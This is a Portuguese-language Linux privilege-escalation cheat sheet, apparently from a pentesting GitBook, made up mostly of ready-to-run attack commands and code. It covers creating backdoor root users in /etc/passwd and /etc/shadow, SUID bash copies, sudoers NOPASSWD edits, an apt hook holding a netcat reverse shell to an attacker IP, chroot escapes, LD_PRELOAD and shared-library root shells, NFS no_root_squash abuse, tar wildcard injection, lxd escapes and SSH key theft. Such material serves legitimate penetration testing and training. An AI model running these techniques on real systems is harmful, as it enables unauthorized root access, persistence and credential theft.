# Privilege Escalation

Para realizar um PrivEsc em Linux, podemos seguir os seguintes itens como um manual de uso:

* Exploits do Kernel
* Programas executando com root
* Softwares Instalados
* Reúso de Senha(s)
* Services
* Suid Misconfiguration
* sudo-rights
* Scripts que o root utiliza com permissão de escrita
* Bad Path Configuration
* Cronjobs
* Unmounted File Systems

{% hint style="success" %}
**DICA**: Sempre que conseguir ter acesso root, podemos fazer uma cópia do bash com SUID ativo para acessarmos diretamente. Para isso basta executar os comandos:\
\
**cp /bin/bash /tmp/bash; chmod +s /tmp/bash ; /tmp/bash**
{% endhint %}

{% hint style="warning" %}
**IMPORTANTE**: Sempre que tiver permissões para utilizar alguma linguagem com privilégios elevados, utilize também seção de **`Code Injection`** para ver como aproveitar dessa falha.
{% endhint %}

###

### Ferramentas Automatizadas

Existem algumas ferramentas free muito boas, como `LinEnum`, `LinPEAS`, `Unix Privesc`, `Linprivchecker.py` e `Linux Smart Enumeration`. Também podemos contar com uma ferramenta chamada `pspy`, que  é uma ferramenta de linha de comando projetada para bisbilhotar processos sem a necessidade de permissões de root. Ele permite que você veja comandos executados por outros usuários, tarefas cron, etc., à medida que são executados. 

Para ambas, basta baixar na máquina alvo e executá-la.

#### LinEnum

```
$ ./LinEnum.sh
```

#### Unix Privesc Check

```bash
# Modo padrão
./unix-privesc-check standard

# Modo detalhado
./unix-privesc-check detailed
```

#### Linux Smart Enumeration

```bash
./lse.sh -l # Pouco detalhada
./lse.sh -l1 # Level 1 = Mostra mais informações que podem ajudar no PrivEsc
./lse.sh -l2 # Level 2 = Faz um dump de todas as informações reunidas sobre o sistema
```

#### Script Personalizado

O script abaixo trabalha de maneira semelhante ao pspy

```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/mysther.tmp; sleep 0.1; done; sort /tmp/mysther.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/mysther.tmp;
```

### Comandos Úteis

```bash
# Lista todos os usuários com permissão root
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'

# Lista todos os UID's e seus respectivos grupos
for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null

# Lista os shells disponíveis
cat /etc/shells

# Serviços que estão sendo executados como root
ps aux | grep root

# Mostra os últimos comandos que foram executados
cat ~/.bash_history

# Verifica se você pode acessar outros diretórios do usuário para encontrar arquivos interessantes
ls -ahlR /root/

# Verifica se podemos ler os arquivos de histórico do root
ls -la /root/.*_history

# Verifique se há arquivos ssh interessantes no diretório de usuários atuais
ls -la ~/.ssh/

# Verifica configurações do inetd services
ls -la /usr/sbin/in.*

# Verifique os arquivos de log em busca de palavras-chave,por exemplo "pass" e mostra correspondências positivas
grep -l -i pass /var/log/*.log 2>/dev/null

# Lista arquivos abertos (a saída dependerá dos privilégios da conta atual)
lsof -i -n

# Lê o correio
cat /var/mail/root
cat /var/mail
cat /var/spool/mail

# Arquivos globais graváveis
find / -perm -2 -type f 2>/dev/null

# Arquivos globais graváveis, exceto em "/proc"
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null

# Diretórios globais que são graváveis
find / -perm -2 -type d 2>/dev/null

# Arquivos de configuração rhost
find /home –name *.rhosts -print 2>/dev/null

# Arquivos *.plan, lista permissões e lê o conteúdo dos arquivos
find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ;

# Procura hosts.equiv, lista permissões e lê o conteúdo dos arquivos
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;

# Informações do SSH keys/host
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls -la

# Lista arquivos dentro de um diretório específico. No exemplo abaixo usamos "/var/log"
find /var/log -type f -exec ls -la {} ; 2>/dev/null

# Lista arquivos ".log" dentro de um diretório específico. No exemplo abaixo usamos "/var/log"
find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null

# Lista arquivos .conf dentro de /etc (recursividade de 1 level)
find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null

# Lista arquivos ".conf" (recursividade de 4 levels) e número da linha de saída em que a palavra "password" está localizada
find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null

# Diretórios de arquivos graváveis
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null

# Procurando arquivo com SUID ativo
find / -perm -u=s -type f -exec ls -lh {} \; 2>/dev/null

# Procurando arquivo com GUID ativo
find / -perm -g=s -type f -exec ls -lh {} \; 2>/dev/null

# Arquivo com permissão de leitura
find / -type f -readable -ls 2>/dev/null

# Diretórios executável
find / -perm -o x -type d 2>/dev/null

# Diretórios graváveis e executáveis
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null

# Listando arquivos com permissão
find / -type f -writable -path /sys -prune -o -path /proc -prune -o -path /usr -prune -o -path /lib -prune -o -type d 2>/dev/null

# Listando diretórios com permissão
find / -regextype posix-extended -regex "/(sys|srv|proc|usr|lib|var)" -prune -o -type d -writable 2>/dev/null

# Procurando por variáveis globais do PHP: $_POST[''], $_GET[''], $_SESSION[''], $_REQUESTS[''] e $_COOKIE['']
grep -R -i '$_[PGSRC].*\[' .

# Procurando por métodos perigosos do PHP: shell, exec, shell_exec, system, passthru, eval, open, unserialize, include, file_put_contents
grep -R -i 'shell\|exec\|shell_exec\|system\|passthru\|eval\|open\|unserialize\|include\|file_put_contents' .
```

As vezes é melhor definirmos datas de modificação nos arquivos que estamos buscando para ter um resultado melhor e mais limpo, como no exemplo abaixo:

```bash
find / -type f -newermt 2019-07-03 ! -newermt 2019-07-31 -ls 2>/dev/null
```

###

### SSH

Arquivos onde contém chaves de SSH. Geralmente ficam em `/home/<user>/.ssh/`:

```
authorized_keys
id_rsa
id_rsa.keystore
id_rsa.pub
known_hosts
```

###

### Exploit em Kernel

Sempre que precisar procurar algum exploit em kernel, utilize a seguinte Dork no Google: `site:exploit-db.com kernel <version>`.

Caso o Linux use Kernel na versão `2.6.39`, utilize os seguintes comandos para virar root no SO:

```bash
gcc mempodipper.c -o mempodipper
./mempodipper
```

{% hint style="danger" %}
**IMPORTANTE**\
Não use explorações do kernel se você puder evitá-lo. Se você usá-lo, pode travar a máquina ou colocá-la em um estado instável, além de produzir muitos registros em `sys.log`. Portanto, as explorações do kernel devem ser o último recurso. Tente usar um priv-esc mais simples
{% endhint %}

###

### MySQL

Se estiver logado no mysql via terminal e quiser utilizar o terminal do SO com as mesmas autenticações do MySQL, basta utilizar o comando: `\! sh`. Caso o MySQL estiver sendo executado como root, isso acaba se tornando um fácil PrivEsc.

###

### Adicionando User ao Grupo sudo

#### Utilizando senha para usar sudo

```bash
usermod -aG sudo <user>
echo "<user> ALL=(ALL) ALL" >> /etc/sudoers
```

#### Sem utilizando senha para usar sudo

```
usermod -aG sudo <user>
echo "<user> ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
```

###

### Lendo Permissões Personalizadas

Útil para saber se o usuário atual tem permissões para acessar determinadas ferramentas e/ou comandos como outro usuários (incluindo o root), sem pedir senha. Esse comando irá ler o arquivo `/etc/sudoers`.&#x20;

{% hint style="success" %}
**DICA**: Ao editar o arquivo **`/etc/sudoers`**, utilize o comando **`visudo`**, pois este já verifica erros de sintaxe.
{% endhint %}

```bash
# Comando
sudo -l

# Saída
root ALL=(ALL:ALL) NOPASSAWD:/bin/cp
```

{% hint style="warning" %}
**IMPORTANTE**: Pode acontecer do `sudo -l` não conseguir pegar as permissões, então certifique-se de olhar no arquivo /etc/sudoers e também nos arquivos presentes em `/etc/sudoers.d/`.
{% endhint %}

Pegando a saída de exemplo, vamos ter as seguintes considerações:

| SAÍDA DO COMANDO | EXPLICAÇÃO                                                                                   |
| ---------------- | -------------------------------------------------------------------------------------------- |
| `root`           | Usuário com permissão sudo                                                                   |
| `ALL=`           | Todos os terminais                                                                           |
| `(ALL:ALL)`      | User:Group. ALL:ALL pode ser substituído por somente ALL                                     |
| `NOPASSAWD`      | "TAG opcional" para indicar que não precisará de senha                                       |
| `/bin/cp`        | <p>Path do diretórios. Se houver mais de um arquivo, pode separá-los com uma vírgula<br></p> |

Se tiver um `<user> ALL=ALL`, o usuário terá acesso a todo o sistema e automaticamente a tag `NOPASSWD` estará ativo.

Adicione a linha a baixo em `/etc/sudoers` para permitir que acesse qualquer comando como root, sem precisar de confirmar a senha atual

```bash
<user> ALL=NOPASSWD:ALL
```

Podemos também, ter a  saída abaixo, que significa que podemos executar o `bash` de qualquer usuário, menos do `root`.

```
(ALL, !root) /bin/bash
```

Na teoria isso funciona, mas na prática, não. Podemos burlar essa regra em determinadas versões do sudo para pegarmos acesso root, executando o seguinte comando:

```
sudo -u#-1 /bin/bash
```

### Usuários com Senha em Branco

Para pegar todos os usuários que tem senha em branco, utilize o comando

```bash
cut -d: -f1,2,3 /etc/passwd | grep ::
```

### Criando Usuário root Manualmente

A funcionalidade desse tipo de criação de usuário, serve para criar um usuário que servirá como um Backdoor. Para isso, insira a linha abaixo em `/etc/passwd` e acesse com o novo usuário que tem permissões de root:

```bash
# Caso exista o arquivo /etc/shadow
<usuario>:x:0:0:<comentario>:/:/bin/bash

# Caso não exista o arquivo /etc/shadow
<usuario>::0:0:<comentario>:/:/bin/bash
```

> **EXPLICAÇÃO**\
> `<usuario>` = Nome do usuário / login\
> `x` = Área da senha do usuário. Quando tem um "x" significa que a senha está localizada em `/etc/shadow/`. Caso tenha um asterísco (\*), significa que a conta está desativada\
> `0` = Define o UID (User ID) que varia e 0 a 60000, sendo o UID reservado para o `root`, de 1 a 499 para sistemas e partir de 500 para usuários\
> `0` = Define o GID (Group ID) que o usuário pertence. Para ver os grupos disponíveis, confira o arquivo `/etc/group`\
> `<comentario>` = Informações adicionais do usuário, que pode ser visto pelo comando `finger`\
> `/` = Diretório de Login `/bin/bash` = Path absoluto da shell definida para o usuário

Agora vá em `/etc/shadow` e adicione:

```bash
<usuario>::11367::::::
```

> **EXPLICAÇÃO**\
> `<usuario>:` = Login / ID do usuário\
> `:` = (Parâmetro vazio) Senha criptograda\
> `11367:` Números em dias da última data de alteração\
> `:` = (Parâmetro vazio) Números mínimo em dias para mudança de senha\
> `:` = (Parâmetro vazio) Números máximo em dias para mudança de senha\
> `:` = (Parâmetro vazio) Números máximo em dias que o usuário pode ficar inativo\
> `:` = (Parâmetro vazio) Data de expiração da conta\
> `:` = (Parâmetro vazio) Flag reservado

Depois disso já pode acessar com o novo usuário (senha em branco)

###

### Serviços Locais

Pode ser que o usuário esteja executando algum serviço disponível apenas nesse host e você não pode se conectar ao serviço de fora. Esses serviços podem estar em execução como root ou podem ter vulnerabilidades neles. Eles podem ser ainda mais vulneráveis, pois o desenvolvedor ou usuário pode estar pensando que, uma vez que é acessível apenas para um usuário específico, não precisamos gastar tanta segurança".

```bash
netstat -anltup
netstat -ano
```

Podemos também ver quais portas locais estão abertas com esse serviço

```bash
ss -nlt
```

###

### Pegando Chave SSH

Ao ter acesso ao shell do nosso alvo, podemos listar todos os usuários em `/etc/passwd`, e depois podemos executar o seguinte comando para pegarmos a chave SSH:

```bash
cat /home/<user>/.ssh/id_rsa | tee <user>.key
```

Agora jogue o resultado que sair no terminal para sua máquina local em um arquivo chamado `<user>.key` e execute os comandos:

```bash
chmod 600 <user>.key
ssh <user>@<ip_alvo> -i <user>.key
```

Assim você acessa ao SSH do alvo sem precisar inserir a senha

###

### Link Simbólico

Criar um link simbólico de um comando para outro (ex.: de `ls` para `cat`) também pode ser uma maneira de escalar privilégios

###

### Procurando strings em arquivos

Útil para procurar arquivos com palavras chave como: `pass`, `senha`, `key`, `secret`, `api`, `http`, `db`, `database`, `ssh`, `ftp`, `mail`, `access`, etc

```bash
grep </diretorio/projeto> -irnw -e '<string_a_ser_procurada>'
```

###

### Permissão de Escrita em /etc/passwd

Podemos criar um novo usuário e informando um **\*** no segundo parâmetro. Geralmente o segundo parâmetro é um **x**, o que significa que a senha está localizada em `/etc/shadow`. Informando um **\***, estamos configurando nosso usuário para que não precise de senha para utilizar o SO.\
\
Também podemos gerar um hash de uma determinada senha, e alterar manualmente o segundo parâmetro de `/etc/passwd` (que seria o **x** ou **\***), com as seguintes maneiras:

####

```bash
# Python
python -c 'import crypt; print crypt.crypt("<nova_senha>", "$6$salt")'

# OpenSSL
openssl passwd <nova_senha>
openssl passwd -1 <nova_senha>
openssl passwd -1 -salt <salt> <nova_senha>

# makepasswd
echo '<nova_senha>' | makepasswd --clearfrom=- --crypt-md5 | cut -d' ' -f4
```

Após gerar a senha (hash), execute o comando abaixo para inserir o novo usuário no /etc/passwd.

```bash
 echo "<novo_usuario>:<hash_gerado>:0:0:root:/root:/bin/bash" >> /etc/passwd
```

Agora basta acessá-lo:

```bash
su <novo_usuario>
```

### Permissão de Escrita em /etc/shadow

Após ter permissão de escrita em shadow, altere a senha do root (ou crie outro user caso tenha permissão tamém em `/etc/passwd`), gerando a senha com o comando abaixo e manipulando o arquivo `/etc/shadow`, substituindo a resultado do comando abaixo, pela linha referente ao root, que geralmente é a primeira linha do arquivo.

```bash
echo "root:$(mkpasswd -m sha-512 <nova_senha> foobarbaz):12345:0:::::"
```

### Permissão de Escrita no Diretório /etc/apt/apt.conf.d

Caso tenha permissão de escrita dentro do diretório `/etc/apt/apt.conf.d`, crie um arquivo chamado `pwn`, com o seguinte conteúdo:

```bash
APT::Update::Pre-Invoke {"<command>";};
```

Após isso, deve-se executar o comando `apt-get update`, com um usuário com permissões privilegiadas. Em alguns cenários, esse comando é disparado a cada 2 minutos automaticamente, então verifique isso com `pspy.py`.

Caso queira fazer tudo em um único comando, execute:

```bash
echo 'apt::Update::Pre-Invoke {“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip_atacante> <port> >/tmp/f”};' > /etc/apt/apt.conf.d/pwn
```

### chroot

#### C

Crie um arquivo chamado `exploit.c` com o seguinte conteúdo:

```c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

int main(void)
{
        mkdir("chroot-dir", 0755);
        chroot("chroot-dir");
        for(int i=0; i < 1000; i++)
        {
                chdir("..");
        }
        chroot(".");
        system("/bin/bash");
}
```

Depois execute:

```bash
gcc exploit.c -o exploit
chmod +x exploit
./exploit
```

#### Python

```bash
#!/usr/bin/python
import os

os.mkdir("./chroot-dir")
os.chroot("./chroot-dir")

for i in range(1000):
	os.chdir("..")

os.chroot(".")
os.system("/bin/bash")
```

Agora basta executar:

```bash
python <file.py>
```

#### PERL

```bash
#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";

foreach my $i (0..1000) {
        chdir ".."
}
chroot ".";
system("/bin/bash");
```

Agora basta executar:

```bash
perl <file.pl>
```

###

### getcap

```
getcap -r / 2>/dev/null
```

A saída deve ser semelhante a `/usr/bin/python2.6 = cap_setuid+ep`, então execute o comando abaixo para ter acesso root:

```
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

### rbash

#### vi

```
sudo vi
(esc) :set shell=/bin/sh
(esc) :shel
```

#### find

```
find /bin -name bash -exec {} \;
```

### Rsync

Geralmente temos o arquivo `/etc/rsyncd.secrets` que contém as credenciais de acesso, porém caso não ache esse arquivo,  leia o conteúdo do arquivo `/etc/rsyncd.conf` e veja o valor de `secrets file`.

### Sistemas de Arquivos Não Montados

Quando acharmos sistemas de arquivos não montados, podemos montar e iniciar o processo PrivEsc. O primeiro método que podemos utilizar, é a leitura do arquivo `fstab`, procurando por algum volume que esteja como `none` (caso seja necessáio, utilize um `grep`).

```bash
cat /etc/fstab
cat /etc/fstab | grep none
```

Outra maneira de realizarmos tal verificação, são com os comandos abaixo:

```
mount -l
lsblk
```

### Screen

Esse exploit funciona somente na versão `4.5.0` (às vezes pode ser visto como `4.05.00`). Baixe o `screen2root` (disponível na página `Softwares` deste gitbook) e execute.\
Fora isso, também podemos listar todas as Screens ativas e, caso uma delas esteja com o usuário root, podemos pegar a sessão.

```bash
# Lista todas as sessões
screen -ls

# Cria uma screen
screen -S <name_screen>

# Entra em uma screen
screen -x <id_screen>

# Sai de uma screen, mantendo ativa. Caso execute o comando "exit", a screen será deletada
CTRL + A + D
```

###

### Cronjob

O arquivo principal de Cronjob é o `/etc/crontab` e nele podemos ver scripts que são executados como root e que podem ter permissão de escrita.\
Também podemos ver com o comando `crontab -l` (que irá ler `/var/spool/cron/crontabs/<user>`) se há alguma crontab configurado para o nosso user atual. E por último utilize os comandos abaixo para verificar se há informações importantes:

```bash
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
grep CRON /var/log/cron.log
```

Também podemos fazer um PrivEsc através do Cronjob, alterando o caminho de chamadas que está utilizando o PATH para realizar a execução de algum arquivo. Vamos considerar a seguinte crontab abaixo (demais linhas foram ocultadas para melhor leitura):

```bash
SHELL=/bin/sh
PATH=/home/mysther:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

* * * * * root script.sh
```

Note que o arquivo `script.sh` será procurado nos diretórios definidos em `PATH`, seguindo da esquerda para a direita, então se criarmos um arquivo chamado `script.sh`, localizado em `/home/mysther`, ele será executado com privilégios root.

Se preferir, pode fazer a cron criar um bash com SUID ativo para conectar-se como root depois.

```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/mysther/script.sh
/tmp/bash -p
id
```

Outra forma de fazermos isso, é quando o script utiliza o comando `cd` para alterar de diretório, criando assim uma nova forma de atacar em um determinado path. No trecho abaixo podemos verificar uma falha de path, pois após entrar no diretório `/home/mysther`, o executável `cat` pode ser explorado, já que o mesmo não possui o path completo. Para este cenário, basta criar um arquivo malicioso com o nome `/home/mysther/cat`.

```bash
*/01 * * * * root cd /home/mysther && cat file > /tmp/file
```

### exports

Primeiro execute o comando abaixo e verifique se encontra uma saída semelhante a `/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)`:

```bash
grep no_root_squash /etc/exports
```

Caso tenha um resultado positivo, execute os seguintes comando na máquina atacante:

```bash
showmount -e <ip_alvo>
mkdir /tmp/test
cd $_
mount -o rw,vers=2 <ip_alvo>:/tmp /tmp/1

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > exploit.c
# Ignore os erros, caso tenha
gcc exploit.c -o exploit
chmod +s exploit
```

Volte para a máquina alvo e execute (lembre-se de verificar o diretório de montagem, que no nosso exemplo é o `/tmp`):

```bash
/tmp/exploit
id
```

### Permissão de Disco

Se o usuário for membro do grupo Disco, podemos ler o conteúdo do sistema de arquivos

```bash
debugfs /dev/sda
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```

###

### Permissão de Vídeo

Se o usuário for membro do grupo Vídeo, podemos ler o Framebuffer

```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```

###

### Arquivos Modificados Recentemente

```bash
find /etc -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort -r
find /home -type f -mmin -60
find / -type f -mtime -2
```

###

### TMUX

Ferramenta semelhante a `screen`, que permite múltiplas sessões no terminal. Assim como o `screen`, se tiver uma sessão aberta como root será um fácil PrivEsc.

Primeiro podemos listar as sessões que estão abertas com o comando:

```
tmux ls
```

\
Analisando o serviço com o comando `ps aux | grep -i tmux`, podemos ter um retorno de algo parcido como `/usr/bin/tmux -S /.devs/dev_sess`. Verificando as permissões com `ls -la /.devs/dev_sess` podemos ver o usuário e, caso seja de interesse, acessarmos a sessão com o comando&#x20;

```
tmux -S /.devs/dev_sess
```

### Variáveis de Ambiente

#### SO

Supondo que temos um derterminado comando que está sendo executado como `root`, por exemplo `script.sh`, podemos criar um arquivo com o mesmo nome em um diretório diferente e fazer o `root` executá-lo. Vamos supor que temos a seguinte resultado ao executar o comando: **`echo $PATH`**

```
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
```

O arquivo `script.sh` está localizado em `/usr/bin`, porém se criarmos um arquivo com o mesmo nome, no diretório `/usr/local/bin`,  ele que será executado, pois a leitura é sempre feita nos diretórios que estão em `$PATH`, seguindo da esquerda para a direita.

#### Python

Seguindo o exemplo acima podemos fazer isso o Python. Vamos supor que temos o seguinte arquivo chamado `script.py` que está sendo executado como `root` (SUID Bit).

{% hint style="info" %}
**OBS.:** Ao executar `sudo -l`, certifique-se de que pode alterar as variáveis de ambiente, como no exemplo a seguir: **`(ALL) SETENV: </path/to/file>`**
{% endhint %}

```python
from shutil import make_archive

src = '/var/log'
dst = '/var/log2'

make_archive(dst, 'gztar', src)
```

Então vamos criar um arquivo chamado `shutil.py` (que irá conter um código malicioso como uma Reverse Shell) e executar o script com o seguinte comando:

```
sudo PYTHONPATH=. script.py
```

{% hint style="info" %}
**OBS.:** Antes de fazer esse processo, verifique o Path das Bibliotecas, pois caso tenha acesso a escrita, será bem mais fácil modificá-los diretamente. Para verificar esse path, execute  o comando&#x20;

```python
python3 -c 'import sys; print ("\n".join(sys.path))'
```

{% endhint %}

### pip

```bash
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
```

### LD\_PRELOAD

Para que esse tipo de PrivEsc dê certo, primeiro execute o `sudo -l` (abaixo segue um exemplo de saída) e verifique se aparece o `LD_PRELOAD` (geralmente vem como `env_keep+=LD_PRELOAD`) na lista de `Matching Defaults`. Nesse caso, o comando `/usr/bin/find` está com privilégios, então iremos utilizá-lo para realizar nosso ataque

```
Matching Defaults entries for teste on win:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

User teste may run the following commands on win:
    (ALL : ALL) NOPASSWD: /usr/bin/find
```

Agora execute os comandos abaixo com o usuário `teste`:

```bash
cd /tmp
nano shell.c
```

Insira o código abaixo:

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}
```

Agora converta o arquivo feito em `C` em `so` (extensão de lib em Linux, equivalente a `dll` no Windows):

```bash
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
```

E então execute-o utilizando o comando `find` (que estamos usando como exemplo) para escalar privilégio:

```bash
sudo LD_PRELOAD=/tmp/shell.so find
```

###

### Compartilhamento NFS

Se a máquina tiver algum compartilhamento NFS mal configurado, podemos utilizá-lo para aumentar nossos privilégios, pois podemos ler arquivos remotos do alvo.

Verificando se o alvo possui qualquer compartilhamento NFS :

```bash
showmount -e <ip>
sudo nmap --script=nfs-showmount <ip>
```

Um ponto importante é sabermos também qual a versão do NFS:

```
rpcinfo -p <ip> | grep nfs
```

Caso o resultado seja positivo, podemos montar a unidade em nosso SO.

```bash
# Criando um diretório para acessar os arquivos remotos
mkdir /tmp/nfsdir

# Realizando a montagem com 2 maneiras diferentes
mount -t nfs -o nfsvers=<version> <ip>:<directory_mount> /tmp/nfsdir
mount -t nfs <ip>:<directory_mount> /tmp/nfsdir
```

Assim como podemos montar o compartilhamento em nosso host, podemos também desmontá-lo, com o seguinte comando:

```
umount /tmp/nfsdir
```

#### Aumentando Privilégios de Forma Manual

Depois de criarmos a montagem, podemos receber mensagem de `access denied,` que podemos burlar. Por razões de "segurança", o NFS 4 não mostra o uid e gid remotos reais, mas sim o que corresponde ao usuário e grupo `nobody`. No entanto, o NFS 3 mostra o uid e gid remotos reais do proprietário do compartilhamento, o que nós dá uma grande vantagem (caso o NFS 3 esteja disponível), já que podemos criar um usuário/grupo com o mesmo uid/gid.&#x20;

Utilizando o comando `mount` (descrito acima), podemos definir o valor de parâmetro `nfsvers` como 3 e depois verificar os respectivos uid/gid, utilziando os comandos abaixo:

```bash
ls -lha <mount_dir>
ls -ld <mount_dir>
stat <mount_dir>
```

Após isso, já sabemos os valores de uid e gid necessários para acessar o(s) arquivo(s), então vamos criar nosso user que possui tais permissão:

```bash
groupadd --gid <gid> <mysther_group>
useradd --uid <uid> --groups <mysther_group> <mysther_user>
sudo -u <mysther_user> ls -l <mount_dir>
```

{% hint style="info" %}
**DICA**: O processo acima também pode ser feito com o comando **`sudo adduser mysther`** e depois alterando o UID e GID do usuário mysther no arquivo **`/etc/passwd`**.
{% endhint %}

#### Aumentando Privilégios com NfSpy

```bash
nfspy -o server=<ip>:<directory_mount>,nfsport=2049/tcp,rw <mount_dir>
```

#### Compartilhamento NFS antigo

Utilize o `-o nolock` para desabilitar o bloqueio de arquivos.

```bash
mkdir </mnt/new_folder>
sudo mount -o nolock <ip>:/<directory> </mnt/new_folder/>
ls -lha </mnt/new_folder>
```

### MOTD

Caso possua permissões de escrita no diretório `/etc/update-motd.d`, execute o comando abaixo para sobrescrever o arquivo `00-header`.

```bash
echo "cp /bin/bash /tmp/bash && chmod u+s /tmp/bash" >> /etc/update-motd.d/00-header0
```

Agora para que o arquivo seja executado, é preciso realizar login (pode utilizar o SSH) para que o arquivo 00-header seja executado como root. Assim que executado, podemos ver o arquivo /tmp/bash com SuidBit ativo, então execute o comando abaixo para pegar acesso root.

```bash
/tmp/bash -p
```

### tar

Para que isso dê certo, certifique-se antes que o usuário alvo (de preferência root) esteja utilizando um comando semelhante a:

```bash
tar czf <new_file.tar.gz> *
```

Levando em conta de que isso esteja ocorrendo e que estamos todos no mesmo diretório, vamos criar 1 arquivo que será executado pelo bash e 2 arquivos (que irão servir como parâmetros) para a execução do primeiro arquivo criado.

```bash
echo '<command>' > shell.sh
touch ./--checkpoint=1 ./--checkpoint-action=exec=bash\ shell.sh
```

Agora assim que o comando `tar` for executado, o arquivo `shell.sh` também será executado, usando os privilégios do mesmo usuário que executou o `tar`.<br>

### VIM

```bash
/tmp/vim -c ':py3 import os ; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
```

###

### Library Ausente

Quando temos SETUID em um executável que execute/procura por algum arquivo `.so` e não o localiza, podemos então criar o nosso próprio arquivo `.so` malicioso. Para sabermos onde que devemos salvar esse arquivo, devemos antes ler os arquivos presentes em `/etc/ld.so.conf.d/` para descobrir o diretório das libs compartilhadas e depois criar um arquivo com extenção `.c`, contendo o conteúdo abaixo.

```bash
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int test(){
        setuid(0);
        setgid(0);
        system("/bin/bash");
}
```

Alguns código podem manter o diretório em hardcoded, então podemos buscar através do seguinte comando:

```bash
objdump -x <file> | grep RPATH
```

Note que no código acima estamos utilizando uma função chamada `test` (linha 5), que deve ser alterado para o nome correto da function. Geralmente podemos ver o nome em erros como: `<function>: symbol lookup error: <function>: undefined symbol: <function>` Após isso, vamos compilá-lo:

```bash
gcc -shared -o <file.so> -fPIC <file.c>
```

Agora basta executar novamente o executável que chama o arquivo `.so`.

É comum pergamos cenário onde o binário irá ler alguma alguma variável do arquivo `.so`, então somos obrigado a definí-lo. Para contornar isso e acessar o bash, podemos utilizar um `constructor` da seguinte forma:

```bash
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

int <variavel_obrigatoria>=1234;
void inject()__attribute__((constructor));
void inject()
{
	setuid(0);
	setgid(0);
	system("/bin/bash");
}
```

###

### Vault

Com o vault, podemos gerar uma senha SSH do usuário root, caso uma má configuração permita isso

```bash
vault write ssh/creds/<name_otp> ip=<ip_alvo>
# Ou
vault ssh -role <name_otp> -mode otp <user>@<ip>

# No exemplo abaixo, a senha (OPT Token da sessão) irá aparecer, então basta utilizar a senha fornecida
vault ssh <user>@<ip>
```

### lxd

Verifique com o comando `id`, se o usuário atual faz parte do grupo `lxd`. Caso seja positivo, execute o comando abaixo no host atacante.

```basic
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
```

Transfira o arquivo `alpine-v<version>.tar.gz` para o host alvo e depois execute os seguintes comandos (no host alvo).

```bash
lxc init <myimage> ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/root path=/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
```

Agora com permissão root, acesse o diretório `/mnt/root` para visualizar todo os arquivos do SO.&#x20;

### Softwares de Terceiros Instalados

Geralmente os softwares de terceiros vão estar em diretórios comuns como:

```bash
/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/
```

Podemos também ver os pacotes instalados com os comandos:

```bash
# Debian
dpkg -l

# CentOS, OpenSuse, Fedora, RHEL
rpm -qa

# OpenBSD, FreeBSD
pkg_info
```

###

### Senhas em Texto Limpo

Geralmente podemos pegar tais senhas em arquivos de configurações. Útil também ver nas configurações de e-mail em `/var/spool/mail`.\
Com o `Linenum`, podemos buscar por senhas utilizando o comando: `LinEnum.sh -t -k password`.

###

### Arquivos Temporários

Muitos administradores tem mania deixar arquivos importantes em `/tmp` e `/var/tmp`. Ambos serve, para armazenar arquivos temporários, mas, apesar do nome, `/var/tmp` não tem é um diretório que exclui todos os seus arquivos ao reiniciar o SO, diferentemente do `/tmp`.

###

### Finger

Mostrando informações do usuário, como senhas telnet.

```bash
finger -l @exemplo.com
```

O comando `finger` tabmém serve para obter informações do usuário (como tempo de ociosidade), Host e IP, mas também serve mostrar arquivos `.plan` ou `.project` em seus diretórios, caso exista.

```bash
finger 0@<ip>
```

####

### Sites

